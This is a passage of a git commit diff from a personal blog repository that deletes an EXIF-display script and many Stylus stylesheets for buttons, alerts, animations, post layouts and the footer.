mirror of
https://github.com/kremalicious/blog.git
synced 2024-11-14 09:05:17 +01:00
cleanup
This commit is contained in:
parent
c9056e0015
commit
b5cf1560f5
GPG Key ID:
606EEEF3C479A91F
@ -1,5 +1,5 @@
|
|||||||
{
|
{
|
||||||
"semi": false,
|
"semi": false,
|
||||||
"singleQuote": true,
|
"singleQuote": true,
|
||||||
"trailingComma": "none"
|
"trailingComma": "none"
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,59 +0,0 @@
|
|||||||
/* global EXIF */
|
|
||||||
|
|
||||||
/* eslint-disable spaced-comment */
|
|
||||||
//=include exif-js/exif.js
|
|
||||||
/* eslint-enable spaced-comment */
|
|
||||||
|
|
||||||
window.addEventListener('load', getExif, false)
|
|
||||||
|
|
||||||
function getExif() {
|
|
||||||
const image = document.querySelector('.hentry__teaser img')
|
|
||||||
|
|
||||||
EXIF.getData(image, function () {
|
|
||||||
// Get individual data
|
|
||||||
const modelvalue = EXIF.getTag(this, 'Model')
|
|
||||||
const shutterspeedvalue = EXIF.getTag(this, 'ExposureTime')
|
|
||||||
const aperturevalue = EXIF.getTag(this, 'FNumber')
|
|
||||||
const exposurevalue = EXIF.getTag(this, 'ExposureBias')
|
|
||||||
const isovalue = EXIF.getTag(this, 'ISOSpeedRatings')
|
|
||||||
const focallengthvalue = EXIF.getTag(this, 'FocalLength')
|
|
||||||
|
|
||||||
// Inject data
|
|
||||||
if (modelvalue) {
|
|
||||||
const model = document.querySelector('.exif__model')
|
|
||||||
model.innerHTML = modelvalue
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shutterspeedvalue) {
|
|
||||||
const shutterspeed = document.querySelector('.exif__shutterspeed')
|
|
||||||
shutterspeed.innerHTML = `${shutterspeedvalue.numerator}/${shutterspeedvalue.denominator}s`
|
|
||||||
}
|
|
||||||
|
|
||||||
if (aperturevalue) {
|
|
||||||
const aperture = document.querySelector('.exif__aperture')
|
|
||||||
aperture.innerHTML = `ƒ ${aperturevalue}`
|
|
||||||
}
|
|
||||||
|
|
||||||
if (exposurevalue || exposurevalue === 0) {
|
|
||||||
const exposure = document.querySelector('.exif__exposure')
|
|
||||||
|
|
||||||
if (exposurevalue === 0) {
|
|
||||||
exposure.innerHTML = `+/- ${exposurevalue}`
|
|
||||||
} else if (exposurevalue > 0) {
|
|
||||||
exposure.innerHTML = `+ ${exposurevalue}`
|
|
||||||
} else {
|
|
||||||
exposure.innerHTML = `- ${exposurevalue}`
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isovalue) {
|
|
||||||
const iso = document.querySelector('.exif__iso')
|
|
||||||
iso.innerHTML = `ISO ${isovalue}`
|
|
||||||
}
|
|
||||||
|
|
||||||
if (focallengthvalue) {
|
|
||||||
const focallength = document.querySelector('.exif__focallength')
|
|
||||||
focallength.innerHTML = `${focallengthvalue}mm`
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
@ -1,96 +0,0 @@
|
|||||||
.actions
|
|
||||||
@extend .divider-top, .divider-bottom, .small
|
|
||||||
margin-top: ($spacer * 2)
|
|
||||||
padding: $spacer 0
|
|
||||||
|
|
||||||
.grid
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
.grid__col:last-child
|
|
||||||
display: flex
|
|
||||||
justify-content: flex-end
|
|
||||||
|
|
||||||
.action
|
|
||||||
padding-left: 32px
|
|
||||||
display: inline-block
|
|
||||||
|
|
||||||
.icon
|
|
||||||
margin-right: 8px
|
|
||||||
margin-left: -32px
|
|
||||||
margin-bottom: -3px
|
|
||||||
|
|
||||||
.action__title
|
|
||||||
font-size: $font-size-base
|
|
||||||
line-height: $line-height
|
|
||||||
margin-top: 0
|
|
||||||
color: $text-color
|
|
||||||
margin-bottom: 0
|
|
||||||
display: inline-block
|
|
||||||
|
|
||||||
.action__text
|
|
||||||
display: block
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
.donate
|
|
||||||
.btc
|
|
||||||
@extend .mini
|
|
||||||
display: inline-block
|
|
||||||
width: 80px
|
|
||||||
white-space: nowrap
|
|
||||||
overflow: hidden
|
|
||||||
text-overflow: ellipsis
|
|
||||||
|
|
||||||
.vex-bitcoin
|
|
||||||
@extend .textcenter
|
|
||||||
|
|
||||||
.vex-content
|
|
||||||
max-width: 46em
|
|
||||||
|
|
||||||
h4
|
|
||||||
font-size: $font-size-h5
|
|
||||||
margin-top: 0
|
|
||||||
margin-bottom: ($spacer / 4)
|
|
||||||
color: $brand-grey
|
|
||||||
|
|
||||||
.qr
|
|
||||||
margin-bottom: ($spacer / 2)
|
|
||||||
|
|
||||||
pre
|
|
||||||
@extend .small
|
|
||||||
margin: 0
|
|
||||||
position: relative
|
|
||||||
padding-right: 2.4rem
|
|
||||||
|
|
||||||
code
|
|
||||||
padding: ($spacer / 2)
|
|
||||||
padding-right: 0
|
|
||||||
font-size: .65rem
|
|
||||||
|
|
||||||
.btn
|
|
||||||
position: absolute
|
|
||||||
right: 0
|
|
||||||
top: 0
|
|
||||||
bottom: 0
|
|
||||||
border: 0
|
|
||||||
box-shadow: none
|
|
||||||
border-top-left-radius: 0
|
|
||||||
border-bottom-left-radius: 0
|
|
||||||
background: alpha($brand-grey, 30%)
|
|
||||||
|
|
||||||
svg
|
|
||||||
width: 1rem
|
|
||||||
height: 1rem
|
|
||||||
fill: $brand-grey
|
|
||||||
transition: .15s ease-out
|
|
||||||
|
|
||||||
&:hover
|
|
||||||
background: alpha($brand-grey, 30%)
|
|
||||||
svg
|
|
||||||
fill: $brand-grey-dimmed
|
|
||||||
|
|
||||||
&.success
|
|
||||||
background: darken($alert-success, 50%)
|
|
||||||
|
|
||||||
svg
|
|
||||||
fill: $brand-dark
|
|
||||||
@ -1,38 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Alerts
|
|
||||||
//
|
|
||||||
|
|
||||||
$alert-info = #f7f1e4
|
|
||||||
$alert-success = #dff0d8
|
|
||||||
$alert-error = #f2dede
|
|
||||||
|
|
||||||
.alert
|
|
||||||
padding: $spacer
|
|
||||||
margin-bottom: $spacer
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
border: 1px solid transparent
|
|
||||||
box-shadow: 0 1px 3px rgba($brand-grey, .1), inset 0 1px 0 #fff
|
|
||||||
|
|
||||||
> p,
|
|
||||||
> ul
|
|
||||||
margin-bottom: 0
|
|
||||||
> p + p
|
|
||||||
margin-top: $spacer
|
|
||||||
|
|
||||||
.alert-success
|
|
||||||
color: darken($alert-success, 60%)
|
|
||||||
background: $alert-success
|
|
||||||
border-color: darken($alert-success, 10%)
|
|
||||||
|
|
||||||
.alert-danger,
|
|
||||||
.alert-error
|
|
||||||
color: darken($alert-error, 60%)
|
|
||||||
background: $alert-error
|
|
||||||
border-color: darken($alert-error, 10%)
|
|
||||||
|
|
||||||
.alert-info
|
|
||||||
color: darken($alert-info, 60%)
|
|
||||||
background: $alert-info
|
|
||||||
border-color: darken($alert-info, 10%)
|
|
||||||
@ -1,64 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Animations
|
|
||||||
//
|
|
||||||
|
|
||||||
// Buttery Smooth(tm)
|
|
||||||
////////////////////////////////////
|
|
||||||
|
|
||||||
gpuacceleration()
|
|
||||||
-webkit-transform: translate3d(0,0,0)
|
|
||||||
-webkit-backface-visibility: hidden
|
|
||||||
-webkit-perspective: 1000
|
|
||||||
|
|
||||||
.gpuacceleration
|
|
||||||
gpuacceleration()
|
|
||||||
|
|
||||||
|
|
||||||
// Slide Up
|
|
||||||
////////////////////////////////////
|
|
||||||
|
|
||||||
@keyframes slideUp
|
|
||||||
0%
|
|
||||||
transform: translate3d(0, 100px, 0)
|
|
||||||
opacity: 0
|
|
||||||
|
|
||||||
100%
|
|
||||||
transform: translate3d(0, 0, 0)
|
|
||||||
opacity: 1
|
|
||||||
|
|
||||||
.animation-slideup
|
|
||||||
animation: slideUp .2s cubic-bezier(.06,.85,.54,1)
|
|
||||||
|
|
||||||
//
|
|
||||||
// Bounce
|
|
||||||
//
|
|
||||||
// taken and adapted from
|
|
||||||
// http://daneden.github.io/animate.css/
|
|
||||||
////////////////////////////////////
|
|
||||||
|
|
||||||
// Down
|
|
||||||
@keyframes slideDown
|
|
||||||
0%
|
|
||||||
transform: translate3d(0, -100px, 0)
|
|
||||||
|
|
||||||
100%
|
|
||||||
transform: none
|
|
||||||
|
|
||||||
.animation-slidedown
|
|
||||||
animation: slideDown .2s cubic-bezier(.06,.85,.54,1)
|
|
||||||
|
|
||||||
// Up
|
|
||||||
@keyframes bounceOutUp
|
|
||||||
20%
|
|
||||||
transform: translate3d(0, -10px, 0)
|
|
||||||
|
|
||||||
40%, 45%
|
|
||||||
transform: translate3d(0, 20px, 0)
|
|
||||||
|
|
||||||
100%
|
|
||||||
transform: translate3d(0, -100px, 0)
|
|
||||||
|
|
||||||
.animation-bounceOutUp
|
|
||||||
animation: bounceOutUp .5s both
|
|
||||||
@ -1,201 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Buttons
|
|
||||||
//
|
|
||||||
|
|
||||||
// Reset default button element
|
|
||||||
button
|
|
||||||
padding: 0
|
|
||||||
cursor: pointer
|
|
||||||
background: transparent
|
|
||||||
border: 0
|
|
||||||
-webkit-appearance: none
|
|
||||||
|
|
||||||
&:active
|
|
||||||
background: $link-color
|
|
||||||
transition: none
|
|
||||||
text-shadow: none
|
|
||||||
|
|
||||||
.btn,
|
|
||||||
a.btn
|
|
||||||
@extend .textcenter
|
|
||||||
display: inline-block
|
|
||||||
margin-bottom: 0
|
|
||||||
font-weight: normal
|
|
||||||
vertical-align: middle
|
|
||||||
touch-action: manipulation
|
|
||||||
cursor: pointer
|
|
||||||
background-image: none // Reset unusual Firefox-on-Android default style
|
|
||||||
white-space: nowrap
|
|
||||||
user-select: none
|
|
||||||
transition: all .2s ease-in-out
|
|
||||||
|
|
||||||
// Default Button
|
|
||||||
button-size($padding-base-vertical, $padding-base-horizontal, $font-size-small, $line-height, $border-radius-base)
|
|
||||||
background-color: rgba(255,255,255,.1)
|
|
||||||
border: 1px solid rgba(94,131,162,.3)
|
|
||||||
border-bottom-color: rgba(94,131,162,.4)
|
|
||||||
font-family: $headings-font-family
|
|
||||||
font-weight: $headings-font-weight
|
|
||||||
color: $brand-grey
|
|
||||||
text-transform: uppercase
|
|
||||||
box-shadow: 0 1px 3px alpha($brand-grey-light, .1), inset 0 1px 0 rgba(255,255,255,.7)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
max-width: 20rem
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
outline: 0
|
|
||||||
background-color: rgba(255,255,255,.5)
|
|
||||||
|
|
||||||
&:active
|
|
||||||
color: $brand-grey
|
|
||||||
border-color: rgba(94,131,162,.3)
|
|
||||||
background-color: transparent
|
|
||||||
box-shadow: 0 1px 0 #fff
|
|
||||||
transition: none
|
|
||||||
outline: 0
|
|
||||||
|
|
||||||
&:focus
|
|
||||||
outline: 0
|
|
||||||
border-color: $input-border-focus
|
|
||||||
|
|
||||||
// Disabled State
|
|
||||||
&.disabled,
|
|
||||||
&[disabled],
|
|
||||||
fieldset[disabled] &
|
|
||||||
cursor: not-allowed
|
|
||||||
pointer-events: none // Future-proof disabling of clicks
|
|
||||||
opacity: .6
|
|
||||||
box-shadow: none
|
|
||||||
|
|
||||||
// grid buttons
|
|
||||||
&.col2,
|
|
||||||
&.col3
|
|
||||||
margin-bottom: ($spacer/2)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
margin-bottom: 0
|
|
||||||
span
|
|
||||||
font-size: .9em
|
|
||||||
color: rgba(19, 56, 50, .6)
|
|
||||||
margin-left: .3em
|
|
||||||
|
|
||||||
// Primary Button
|
|
||||||
.btn-primary,
|
|
||||||
a.btn-primary
|
|
||||||
color: darken($link-color, 50%)
|
|
||||||
text-shadow: 0 1px 0 rgba(255,255,255,.3)
|
|
||||||
background: lighten($link-color, 15%)
|
|
||||||
border-color: $link-color
|
|
||||||
box-shadow: 0 1px 3px alpha($brand-grey-light, .4), inset 0 1px 0 rgba(255,255,255,.4)
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
color: darken($link-color, 50%)
|
|
||||||
background-color: lighten($link-color, 25%)
|
|
||||||
text-shadow: 0 1px 0 rgba(255,255,255,.3)
|
|
||||||
|
|
||||||
&:active
|
|
||||||
color: darken($link-color, 50%)
|
|
||||||
border-color: darken($link-color, 10%)
|
|
||||||
background-color: lighten($link-color, 15%)
|
|
||||||
|
|
||||||
.more-link
|
|
||||||
font-family: $headings-font-family
|
|
||||||
font-weight: $headings-font-weight
|
|
||||||
font-size: $font-size-small
|
|
||||||
color: $link-color
|
|
||||||
text-transform: uppercase
|
|
||||||
|
|
||||||
// icon
|
|
||||||
.icon
|
|
||||||
top: .15em
|
|
||||||
position: relative
|
|
||||||
width: 18px
|
|
||||||
height: 18px
|
|
||||||
|
|
||||||
.btn-block
|
|
||||||
display: block
|
|
||||||
|
|
||||||
|
|
||||||
// Close button
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.close
|
|
||||||
@extend .textcenter, .transition
|
|
||||||
display: block
|
|
||||||
color: lighten($brand-grey-light, 50%)
|
|
||||||
line-height: 1
|
|
||||||
font-size: $font-size-large
|
|
||||||
padding: 3px
|
|
||||||
cursor: pointer
|
|
||||||
|
|
||||||
button.&
|
|
||||||
cursor: pointer
|
|
||||||
background: transparent
|
|
||||||
border: 0
|
|
||||||
-webkit-appearance: none
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
color: lighten($brand-grey-light, 20%)
|
|
||||||
cursor: pointer
|
|
||||||
outline: 0
|
|
||||||
|
|
||||||
&:active
|
|
||||||
background: none
|
|
||||||
color: $brand-grey-light
|
|
||||||
transition: none
|
|
||||||
|
|
||||||
|
|
||||||
// some helper classes for old content
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.content-download
|
|
||||||
@extend .grid, .grid--gutters
|
|
||||||
text-align: center
|
|
||||||
display: block
|
|
||||||
margin-top: 0
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
display: flex
|
|
||||||
margin-top: -($gutter-space)
|
|
||||||
|
|
||||||
a
|
|
||||||
@extend .btn, .grid__col
|
|
||||||
margin: $gutter-space 0 0 $gutter-space
|
|
||||||
|
|
||||||
&:only-child
|
|
||||||
margin-left: auto
|
|
||||||
margin-right: auto
|
|
||||||
|
|
||||||
span
|
|
||||||
font-size: $font-size-mini
|
|
||||||
color: $text-color-light
|
|
||||||
|
|
||||||
.icon-download,
|
|
||||||
.icon-heart,
|
|
||||||
.icon-wordpress,
|
|
||||||
.icon-github,
|
|
||||||
.icon-eye
|
|
||||||
&:before
|
|
||||||
content: ""
|
|
||||||
width: 18px
|
|
||||||
height: 18px
|
|
||||||
display: inline-block
|
|
||||||
margin-right: 5px
|
|
||||||
margin-bottom: -3px
|
|
||||||
opacity: .35
|
|
||||||
background: url('/assets/img/arrow-with-circle-down.svg') no-repeat left center
|
|
||||||
|
|
||||||
.icon-heart:before
|
|
||||||
background-image: url('/assets/img/heart.svg')
|
|
||||||
|
|
||||||
.icon-github:before
|
|
||||||
background-image: url('/assets/img/github.svg')
|
|
||||||
|
|
||||||
.icon-eye:before
|
|
||||||
background-image: url('/assets/img/eye.svg')
|
|
||||||
@ -1,62 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Content - Featured Posts
|
|
||||||
//
|
|
||||||
|
|
||||||
.featured
|
|
||||||
@extend .breakoutviewport
|
|
||||||
padding-bottom: $spacer
|
|
||||||
|
|
||||||
.grid
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
padding-bottom: ($spacer*3)
|
|
||||||
|
|
||||||
.hentry__teaser
|
|
||||||
max-width: 100%;
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
margin-left: 0
|
|
||||||
margin-right: 0
|
|
||||||
|
|
||||||
.featured-link
|
|
||||||
@extend .link--nounderline
|
|
||||||
display: block
|
|
||||||
position: relative
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
img
|
|
||||||
border-color: $link-color
|
|
||||||
|
|
||||||
.featured-title
|
|
||||||
@extend .transition
|
|
||||||
transition-property: transform, opacity
|
|
||||||
margin: 0
|
|
||||||
position: absolute
|
|
||||||
top: 25%
|
|
||||||
min-width: 45%
|
|
||||||
text-align: right
|
|
||||||
font-family: $headings-font-family
|
|
||||||
font-weight: $headings-font-weight
|
|
||||||
font-style: normal
|
|
||||||
font-size: $font-size-small
|
|
||||||
padding: ($spacer/3)
|
|
||||||
background: $link-color
|
|
||||||
background: alpha($link-color, .85)
|
|
||||||
color: #fff
|
|
||||||
text-shadow: 0 1px 0 #000
|
|
||||||
left: 0
|
|
||||||
|
|
||||||
opacity: 0
|
|
||||||
transform: translate3d(0, -20px, 0)
|
|
||||||
|
|
||||||
.featured-link:hover &
|
|
||||||
opacity: 1
|
|
||||||
transform: translate3d(0, 0, 0)
|
|
||||||
|
|
||||||
img.featured-image
|
|
||||||
display: block
|
|
||||||
margin-bottom: 0
|
|
||||||
@ -1,24 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Content - Link Post
|
|
||||||
//
|
|
||||||
|
|
||||||
.linkurl
|
|
||||||
@extend .text-dimmed, .ellipsis, .aligncenter
|
|
||||||
font-family: $font-family-base
|
|
||||||
font-size: $font-size-mini
|
|
||||||
padding: ($spacer/3) 0
|
|
||||||
max-width: 70%
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
max-width: 50%
|
|
||||||
|
|
||||||
.permalink-link
|
|
||||||
@extend .alignright
|
|
||||||
.icon
|
|
||||||
fill: $link-color
|
|
||||||
width: 18px
|
|
||||||
|
|
||||||
&:hover .icon
|
|
||||||
fill: $link-color-hover
|
|
||||||
@ -1,103 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Content - Photo Post
|
|
||||||
//
|
|
||||||
|
|
||||||
.hentry.format-photo
|
|
||||||
@extend .textcenter
|
|
||||||
|
|
||||||
.entry-title
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
figure
|
|
||||||
position: relative
|
|
||||||
display: inline-block
|
|
||||||
|
|
||||||
img,
|
|
||||||
figcaption
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
figcaption
|
|
||||||
@extend .transition, .h4
|
|
||||||
transition-property: transform, opacity
|
|
||||||
position: absolute
|
|
||||||
min-width: 45%
|
|
||||||
text-align: right
|
|
||||||
padding: ($spacer/3)
|
|
||||||
background: $link-color
|
|
||||||
background: alpha($link-color, .7)
|
|
||||||
color: #fff
|
|
||||||
text-shadow: 0 1px 0 #000
|
|
||||||
|
|
||||||
left: 0
|
|
||||||
top: $spacer * 4
|
|
||||||
opacity: 0
|
|
||||||
transform: translate3d(0, -20px, 0)
|
|
||||||
|
|
||||||
&:hover figcaption
|
|
||||||
opacity: 1
|
|
||||||
transform: translate3d(0, 0, 0)
|
|
||||||
|
|
||||||
.entry-content
|
|
||||||
text-align: left
|
|
||||||
margin-top: $spacer
|
|
||||||
|
|
||||||
.page-single &
|
|
||||||
padding-top: 0
|
|
||||||
padding-bottom: ($spacer*3)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
padding-top: 0
|
|
||||||
padding-bottom: ($spacer*6)
|
|
||||||
|
|
||||||
figure img
|
|
||||||
max-height: none
|
|
||||||
|
|
||||||
|
|
||||||
.photo-link
|
|
||||||
display: block;
|
|
||||||
|
|
||||||
img
|
|
||||||
@extend .media-frame
|
|
||||||
|
|
||||||
&,
|
|
||||||
&:hover,
|
|
||||||
&:focus,
|
|
||||||
&:active
|
|
||||||
box-shadow: none
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
img
|
|
||||||
border-color: $link-color-hover
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
|
|
||||||
&:active
|
|
||||||
background: none
|
|
||||||
|
|
||||||
//
|
|
||||||
// EXIF metadata display
|
|
||||||
//
|
|
||||||
.exif
|
|
||||||
@extend .small, .text-dimmed
|
|
||||||
text-align: left
|
|
||||||
position: absolute
|
|
||||||
bottom: -($spacer * 1.25)
|
|
||||||
left: $spacer
|
|
||||||
right: $spacer
|
|
||||||
|
|
||||||
.container
|
|
||||||
display: flex
|
|
||||||
flex-wrap: wrap
|
|
||||||
justify-content: space-between
|
|
||||||
|
|
||||||
//
|
|
||||||
// Photo background change adjustment
|
|
||||||
//
|
|
||||||
.ab-dark
|
|
||||||
.entry-content
|
|
||||||
@extend .text-dimmed
|
|
||||||
|
|
||||||
.byline, time, .comments
|
|
||||||
color: $text-color-light
|
|
||||||
@ -1,48 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Content - Related Posts
|
|
||||||
//
|
|
||||||
|
|
||||||
.related-posts
|
|
||||||
.grid
|
|
||||||
margin-top: 0
|
|
||||||
|
|
||||||
.related-posts-title
|
|
||||||
@extend .heading-band, .h3
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
.related-post
|
|
||||||
img
|
|
||||||
@extend .media-frame
|
|
||||||
|
|
||||||
.post-title
|
|
||||||
@extend .h5, .transition, .text-dimmed
|
|
||||||
margin-top: ($spacer / 3)
|
|
||||||
margin-bottom: 0
|
|
||||||
padding: 0 2px
|
|
||||||
|
|
||||||
.post-title-link
|
|
||||||
@extend .transition, .link--nounderline
|
|
||||||
display: block
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
.post-title
|
|
||||||
color: $link-color
|
|
||||||
img
|
|
||||||
border-color: $link-color-hover
|
|
||||||
|
|
||||||
&:active
|
|
||||||
.post-title
|
|
||||||
color: #fff
|
|
||||||
transition: none
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Related Photos
|
|
||||||
//
|
|
||||||
.related-photos
|
|
||||||
@extend .divider-top
|
|
||||||
margin-top: $spacer * 2
|
|
||||||
padding-top: $spacer * 3
|
|
||||||
@ -1,204 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Generic Content
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Page Title
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.page-title
|
|
||||||
@extend .h2, .heading-band
|
|
||||||
color: $brand-grey-light
|
|
||||||
margin-top: -($spacer*2)
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
.hash
|
|
||||||
@extend .h3
|
|
||||||
color: darken($page-bg, 15%)
|
|
||||||
margin-right: 2px
|
|
||||||
|
|
||||||
.hentry
|
|
||||||
@extend .divider-bottom
|
|
||||||
padding-top: ($spacer*2)
|
|
||||||
padding-bottom: ($spacer*2)
|
|
||||||
width: 100%
|
|
||||||
|
|
||||||
&:first-child
|
|
||||||
padding-top: 0
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
padding-top: ($spacer*3)
|
|
||||||
padding-bottom: ($spacer*3)
|
|
||||||
|
|
||||||
.page-single &
|
|
||||||
border: none
|
|
||||||
|
|
||||||
&:before
|
|
||||||
@extend .hide
|
|
||||||
|
|
||||||
|
|
||||||
// Post Header
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.entry-header
|
|
||||||
.page-single &
|
|
||||||
@media $screen-md
|
|
||||||
breakoutviewport()
|
|
||||||
|
|
||||||
|
|
||||||
// Post Title
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.entry-title
|
|
||||||
@extend .h1, .textcenter
|
|
||||||
color: $headings-color
|
|
||||||
margin-top: 0
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
a
|
|
||||||
@extend .link--nounderline
|
|
||||||
|
|
||||||
.format-link &
|
|
||||||
@extend .h3
|
|
||||||
|
|
||||||
|
|
||||||
// Post Lead
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.entry-lead
|
|
||||||
@extend .large, .textcenter
|
|
||||||
color: $brand-grey
|
|
||||||
line-height: $line-height-large
|
|
||||||
|
|
||||||
|
|
||||||
// Post/photo teaser
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.hentry__teaser
|
|
||||||
@extend .breakoutviewport
|
|
||||||
max-width: none
|
|
||||||
display: block
|
|
||||||
margin-top: ($spacer*1.5)
|
|
||||||
margin-bottom: ($spacer*1.5)
|
|
||||||
|
|
||||||
img
|
|
||||||
@extend .media-frame
|
|
||||||
border-radius: 0
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
|
|
||||||
.hentry__teaser--link
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
img
|
|
||||||
border-color: $link-color
|
|
||||||
|
|
||||||
// Post Content
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.entry-content
|
|
||||||
h1,
|
|
||||||
h2
|
|
||||||
@extend .heading-band
|
|
||||||
|
|
||||||
h1
|
|
||||||
@extend .h2
|
|
||||||
h2
|
|
||||||
@extend .h3
|
|
||||||
h3
|
|
||||||
@extend .h4
|
|
||||||
|
|
||||||
p:last-child
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
|
|
||||||
// Post meta
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.entry-meta
|
|
||||||
@extend .small
|
|
||||||
margin-top: ($spacer*2)
|
|
||||||
|
|
||||||
a
|
|
||||||
@extend .link--nounderline
|
|
||||||
|
|
||||||
.byline,
|
|
||||||
.time,
|
|
||||||
.tags,
|
|
||||||
.categories
|
|
||||||
@extend .textcenter
|
|
||||||
|
|
||||||
.byline,
|
|
||||||
.time
|
|
||||||
@extend .text-dimmed, .italic
|
|
||||||
|
|
||||||
.byline
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
.by
|
|
||||||
display: block
|
|
||||||
|
|
||||||
.time
|
|
||||||
margin-bottom: ($spacer*2)
|
|
||||||
|
|
||||||
|
|
||||||
// Categories & Tags
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.categories
|
|
||||||
margin-bottom: ($spacer/2)
|
|
||||||
|
|
||||||
.category
|
|
||||||
@extend .h6, .textcenter, .mini, .link--nounderline
|
|
||||||
color: $text-color
|
|
||||||
line-height: 1
|
|
||||||
text-transform: uppercase
|
|
||||||
border: 1px solid $text-color
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
padding: 4px 8px
|
|
||||||
margin: 0
|
|
||||||
display: inline-block
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
color: $link-color
|
|
||||||
border-color: $link-color
|
|
||||||
|
|
||||||
&:active
|
|
||||||
background: $link-color
|
|
||||||
top: 0
|
|
||||||
color: #fff
|
|
||||||
|
|
||||||
.tag
|
|
||||||
@extend .link--nounderline
|
|
||||||
color: $text-color
|
|
||||||
margin-right: 5px
|
|
||||||
|
|
||||||
&:before
|
|
||||||
@extend .text-dimmed
|
|
||||||
content: '#'
|
|
||||||
margin-right: 1px
|
|
||||||
|
|
||||||
.avatar
|
|
||||||
width: 80px
|
|
||||||
height: 80px
|
|
||||||
border-radius: 80px
|
|
||||||
border: 2px solid #fff
|
|
||||||
|
|
||||||
|
|
||||||
// Goodies download
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.goodie-actions
|
|
||||||
@extend .aligncenter
|
|
||||||
max-width: 640px
|
|
||||||
|
|
||||||
p,
|
|
||||||
.btn
|
|
||||||
margin-bottom: 0
|
|
||||||
|
|
||||||
.btn
|
|
||||||
display: block
|
|
||||||
@ -1,97 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Footer
|
|
||||||
//
|
|
||||||
|
|
||||||
.site__footer
|
|
||||||
@extend .textcenter
|
|
||||||
padding-top: ($spacer*2)
|
|
||||||
|
|
||||||
.avatar
|
|
||||||
margin-bottom: ($spacer / 2)
|
|
||||||
|
|
||||||
&,
|
|
||||||
.footer-description
|
|
||||||
color: $text-color-light
|
|
||||||
line-height: $spacer
|
|
||||||
|
|
||||||
a
|
|
||||||
@extend .link--nounderline
|
|
||||||
|
|
||||||
.footer-description
|
|
||||||
@extend .h5
|
|
||||||
margin-top: 0
|
|
||||||
margin-bottom: ($spacer / 4)
|
|
||||||
|
|
||||||
a
|
|
||||||
display: block
|
|
||||||
|
|
||||||
.footer-copyright
|
|
||||||
@extend .divider-top
|
|
||||||
padding-top: $spacer
|
|
||||||
padding-bottom: $spacer
|
|
||||||
|
|
||||||
p
|
|
||||||
margin-bottom: 0
|
|
||||||
font-size: $font-size-mini
|
|
||||||
|
|
||||||
.icon
|
|
||||||
width: 15px
|
|
||||||
height: 15px
|
|
||||||
margin-right: .2em
|
|
||||||
margin-bottom: -2px
|
|
||||||
|
|
||||||
// Subscribe component
|
|
||||||
.subscribe
|
|
||||||
margin: $spacer auto
|
|
||||||
p
|
|
||||||
@extend .textcenter
|
|
||||||
margin: 0
|
|
||||||
|
|
||||||
.link
|
|
||||||
@extend .textcenter, .link--nounderline
|
|
||||||
